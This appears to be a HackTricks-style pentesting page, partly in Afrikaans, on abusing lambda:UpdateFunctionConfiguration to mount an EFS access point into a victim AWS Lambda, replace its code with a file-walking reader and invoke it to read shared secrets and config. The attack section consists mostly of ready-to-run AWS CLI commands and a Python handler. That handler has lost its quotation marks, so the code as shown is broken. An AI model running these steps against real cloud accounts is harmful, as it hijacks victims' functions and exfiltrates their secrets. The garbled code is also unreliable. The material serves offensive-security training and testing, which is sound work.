# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)

{{#include ../../../../banners/hacktricks-training.md}}

Misbruik `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te koppel, en ontplooi dan eenvoudige kode wat lêers uit die gemonteerde pad lys en lees om gedeelde secrets/config te exfiltrate wat die funksie voorheen nie kon bereik nie.

## Requirements
- Permissions on the victim account/principal:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (to find functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (to confirm mount targets exist)
- Environment assumptions:
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.

## Attack
- Veranderlikes
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
```
1) Koppel die EFS Access Point aan die Lambda
```
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Oorskryf die kode met 'n eenvoudige leser wat lêers lys en die eerste 200 bytes van 'n kandidaat-geheime/konfigurasie-lêer bekyk.
```
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Roep aan en haal die data
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
Die uitvoer moet die gidslys onder /mnt/ht bevat en 'n klein voorskou van 'n gekose geheim/konfigurasielêer vanaf EFS.

## Impak

'n Aanvaller met die genoemde toestemmings kan arbitrêre in-VPC EFS Access Points in slagoffer Lambda-funksies mount om gedeelde konfigurasie en geheime wat op EFS gestoor is, te lees en te exfiltreer wat voorheen ontoeganklik was vir daardie funksie.

## Opruiming
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}
